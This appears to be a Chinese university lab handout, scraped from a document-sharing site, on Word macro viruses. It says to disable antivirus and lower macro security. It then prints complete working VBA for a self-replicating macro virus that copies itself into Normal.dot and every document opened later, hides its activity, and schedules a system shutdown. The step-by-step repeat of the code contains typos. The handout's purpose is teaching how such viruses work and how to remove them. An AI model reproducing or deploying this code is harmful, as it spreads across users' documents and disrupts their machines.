word宏恶意代码实验
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
计算机宏病毒分析
一、实验目的
⏹了解“宏病毒”机理;
⏹掌握清除宏病毒的方法;
⏹掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境
⏹Windows 7 64位旗舰版
⏹Office Word2010字处理软件。
三、实验要求
⏹宏的编写;
⏹理解宏病毒的作用机制。
四、实验步骤:
1.软件设置
关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。
注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
2.自我复制功能演示
打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
完整代码如下:
'Macro-1:Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox "恭喜你你中毒了"
Shell ("C:\Windows\System32\cmd.exe")
Shell ("C:\Windows\System32\shutdown.exe -s -t 60")
End Sub
以上代码的基本执行流程如下:
1) 进行必要的自我保护:
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失
效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2) 得到当前文档的代码对象和公用模板的代码对象:
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
3) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名:
With Host
If .Lines(1.1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
4) 执行恶意代码
MsgBox "恭喜你你中毒了"
Shell ("C:\Windows\System32\cmd.exe")
Shell ("C:\Windows\System32\shutdown.exe -s -t 60")